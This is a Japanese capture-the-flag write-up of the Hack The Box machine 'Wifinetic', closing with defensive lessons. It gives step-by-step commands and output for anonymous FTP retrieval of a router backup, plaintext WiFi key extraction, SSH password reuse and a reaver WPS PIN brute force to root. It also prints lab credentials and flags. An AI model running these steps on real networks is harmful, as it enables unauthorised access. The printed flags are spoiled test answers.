Hack The BoxのWriteup(Wifinetic)[Easy] 

※本サイトはアフィリエイト広告を利用しています。
広告



HackTheBox: Wifinetic — FTP 匿名 OpenWrt バックアップ → WiFi PSK → reaver WPS PIN → root

TCP 全ポートスキャン

bash nmap 全ポート
nmap -sV -sC -p- 10.129.229.90 –min-rate 5000
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 53/tcp open domain (generic dns response: NOTIMP)
📌 ポイント

ポートが 3つのみ: FTP / SSH / DNS。Web なし・SMB なし。FTP (21) が最初の突破口候補。

FTP 匿名ログイン確認

bash nmap FTP スクリプト
nmap -sV –script ftp-anon,ftp-syst -p 21 10.129.229.90
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_-rw-r–r– 1 ftp ftp 4434 Jul 31 2023 MigrateOpenWrt.txt |_-rw-r–r– 1 ftp ftp 2501210 Jul 31 2023 ProjectGreatMigration.pdf |_-rw-r–r– 1 ftp ftp 60857 Jul 31 2023 ProjectOpenWRT.pdf |_-rw-r–r– 1 ftp ftp 40960 Sep 11 2023 backup-OpenWrt-2023-07-26.tar |_-rw-r–r– 1 ftp ftp 52946 Jul 31 2023 employees_wellness.pdf
✨ 発見

FTP 匿名ログイン可能。特に backup-OpenWrt-2023-07-26.tar が要注目 — OpenWrt ルーター設定のバックアップファイル。

Phase 2

FTP 匿名アクセス → OpenWrt バックアップ取得

FTP 匿名ログインとファイルダウンロード

bash curl FTP ダウンロード
curl -s ftp://10.129.229.90/backup-OpenWrt-2023-07-26.tar \ –user anonymous:anonymous \ -o backup-OpenWrt-2023-07-26.tar
% Total % Received % Xferd Average Speed Time Total 100 40960 100 40960 0 0 28672 0 0:00:01 0:00:01 –:–:– 28672
📌 ポイント

OpenWrt は Linux ベースのルーター用 OS。バックアップ tar には /etc/config/ 以下の設定ファイルが含まれており、WiFi の PSK がプレーンテキストで保存されている。

tar 展開と内容確認

bash tar 展開
mkdir -p extracted tar -xf backup-OpenWrt-2023-07-26.tar -C extracted/ find extracted/ -type f | sort
extracted/etc/config/dropbear extracted/etc/config/firewall extracted/etc/config/luci extracted/etc/config/network extracted/etc/config/opkg extracted/etc/config/rpcd extracted/etc/config/system extracted/etc/config/ucitrack extracted/etc/config/uhttpd extracted/etc/config/wireless extracted/etc/passwd extracted/etc/shadow
🎯 注目

etc/config/wireless が WiFi 設定ファイル。etc/passwdetc/shadow も含まれており、ルーターのユーザー情報が露出している。

Phase 3

wireless config 解析 → WiFi PSK → SSH netadmin → user.txt

wireless config からパスワード抽出

bash wireless 設定確認
cat extracted/etc/config/wireless
config wifi-device ‘radio0’ option type ‘mac80211’ option path ‘virtual/mac80211_hwsim/hwsim0’ option channel ‘auto’ option band ‘2g’ option txpower ’20’ config wifi-device ‘radio1’ option type ‘mac80211’ option path ‘virtual/mac80211_hwsim/hwsim1′ option channel ’36’ option band ‘5g’ option txpower ’23’ config wifi-iface ‘wifinet0’ option device ‘radio0’ option mode ‘ap’ option ssid ‘OpenWrt’ option encryption ‘psk’ option key ‘VeRyUniUqWiFIPasswrd1!’ option disabled ‘0’
💡 解説

OpenWrt の /etc/config/wireless は UCI (Unified Configuration Interface) 形式。option key が WPA PSK (Pre-Shared Key) で、プレーンテキストのまま保存されている。

💎 取得認証情報 (WiFi PSK)

netadmin : VeRyUniUqWiFIPasswrd1!

WiFi PSK を SSH パスワードとして転用

💡 推論

システム管理者がルーター WiFi のパスワードを SSH ログインにも使い回しているパターンを仮定。ユーザー名は etc/passwd から netadmin を確認。

bash SSH ログイン
ssh netadmin@10.129.229.90 # Password: VeRyUniUqWiFIPasswrd1!
netadmin@wifinetic:~$ id uid=1000(netadmin) gid=1000(netadmin) groups=1000(netadmin) netadmin@wifinetic:~$ cat user.txt b56bae3998ec3faab0bbbba7b2d9fb24

🚩 user.txt

b56bae3998ec3faab0bbbba7b2d9fb24
Phase 4

reaver WPS PIN ブルートフォース → WPA PSK → root SSH → root.txt

Linux capabilities 確認

bash getcap で特権バイナリを探す
getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep /usr/bin/ping = cap_net_raw+ep /usr/bin/mtr-packet = cap_net_raw+ep /usr/bin/traceroute6.iputils = cap_net_raw+ep /usr/bin/reaver = cap_net_raw+ep
🎯 発見

/usr/bin/reavercap_net_raw+ep が付与されている。cap_net_raw は生のネットワークパケット送受信を可能にする権限。root 不要で reaver (WPS攻撃ツール) を実行できる。

無線インターフェース調査

bash iw dev でインターフェース確認
iw dev
phy#2 Interface mon0 ifindex 7 addr 02:00:00:00:02:00 type monitor ← モニターモード (パケットキャプチャ用) Interface wlan2 ifindex 5 addr 02:00:00:00:02:00 type managed phy#1 Interface wlan1 ifindex 4 addr 02:00:00:00:01:00 type managed phy#0 Interface wlan0 ifindex 3 addr 02:00:00:00:00:00 ssid OpenWrt type AP ← アクセスポイント (攻撃ターゲット) channel 1 (2412 MHz)
📌 構成まとめ

wlan0 が AP モード (SSID: OpenWrt, BSSID: 02:00:00:00:00:00, channel: 1)。mon0 がモニターモードで既に起動済み。reaver は mon0 からパケットを捕捉しながら WPS PIN を総当り攻撃する。

reaver で WPS PIN ブルートフォース

💡 WPS とは

Wi-Fi Protected Setup (WPS) はルーターへの接続を簡単にする仕組み。8桁の PIN で認証するが、設計上の欠陥から実質 11,000 回以下の試行で解読できる (CVE-2011-5053 系)。

bash reaver WPS PIN 攻撃
reaver -i mon0 -b 02:00:00:00:00:00 -vv -c 1 -N
Reaver v1.6.5 WiFi Protected Setup Attack Tool [+] Switching mon0 to channel 1 [+] Waiting for beacon from 02:00:00:00:00:00 [+] Received beacon from 02:00:00:00:00:00 [+] Trying pin “12345670” [+] Sending authentication request [+] Sending association request [+] Associated with 02:00:00:00:00:00 (ESSID: OpenWrt) [+] Sending EAPOL START request [+] Received identity request [+] Sending identity response [+] Received M1 message [+] Sending M2 message [+] Received M3 message [+] Sending M4 message [+] Received M5 message [+] Sending M6 message [+] Received M7 message [+] Sending WSC NACK [+] Pin cracked in 2 seconds [+] WPS PIN: ‘12345670’ [+] WPA PSK: ‘WhatIsRealAnDWhAtIsNot51121!’ [+] AP SSID: ‘OpenWrt’
✨ 結果

WPS PIN 123456702秒で解読。このマシンは WPS PIN がデフォルト値のまま変更されていなかった。WPA PSK WhatIsRealAnDWhAtIsNot51121! が取得できた。

💎 取得認証情報 (root パスワード)

root : WhatIsRealAnDWhAtIsNot51121!

WPA PSK で SSH root → root.txt

💡 推論

管理者がルーターの WPA PSK をそのまま root の SSH パスワードにも使い回しているパターン。WPA PSK の漏えいがそのまま root 権限取得に直結する。

bash SSH root ログイン
ssh root@10.129.229.90 # Password: WhatIsRealAnDWhAtIsNot51121!
root@wifinetic:~# id uid=0(root) gid=0(root) groups=0(root) root@wifinetic:~# cat /root/root.txt 81f8b11d1b539293192a579735e867b0

🚩 root.txt

81f8b11d1b539293192a579735e867b0
Summary

全体まとめと防御側の学び

攻撃チェーンの全体像

段階 使った脆弱性 取得したもの
1 FTP 匿名ログイン許可 backup-OpenWrt-2023-07-26.tar
2 OpenWrt wireless config に PSK 平文保存 netadmin:VeRyUniUqWiFIPasswrd1!
3 パスワード使い回し (WiFi PSK = SSH パスワード) SSH シェル / user.txt
4 reaver cap_net_raw + WPS デフォルト PIN WhatIsRealAnDWhAtIsNot51121! (WPA PSK)
5 WPA PSK = root SSH パスワード使い回し root SSH / root.txt

防御側の学び

  • FTP 匿名アクセスの無効化: vsftpd の anonymous_enable=NO を設定する。機密ファイルを FTP サーバー上に置かない。
  • バックアップファイルの管理: ルーター設定バックアップには WiFi PSK・SSH 鍵・ユーザーパスワードが含まれる。暗号化なしで FTP に置くのは危険。
  • パスワードの使い回し防止: WiFi PSK と SSH ログインパスワードを同じにしない。パスワードマネージャーを使い、サービスごとに一意のパスワードを設定する。
  • WPS の無効化: WPS は CVE-2011-5053 などの設計的欠陥を持ち、PIN 方式は実質ブルートフォース可能。ルーターの管理画面から WPS を無効にする。
  • Linux capabilities の最小化: cap_net_raw を一般ユーザーが実行できるバイナリに付与しない。必要な場合は AppArmor / seccomp でスコープを絞る。

このレポートは Hack The Box の授権済み CTF 環境を対象にした学習用資料です。実環境への無断アクセスや悪用は禁止されています。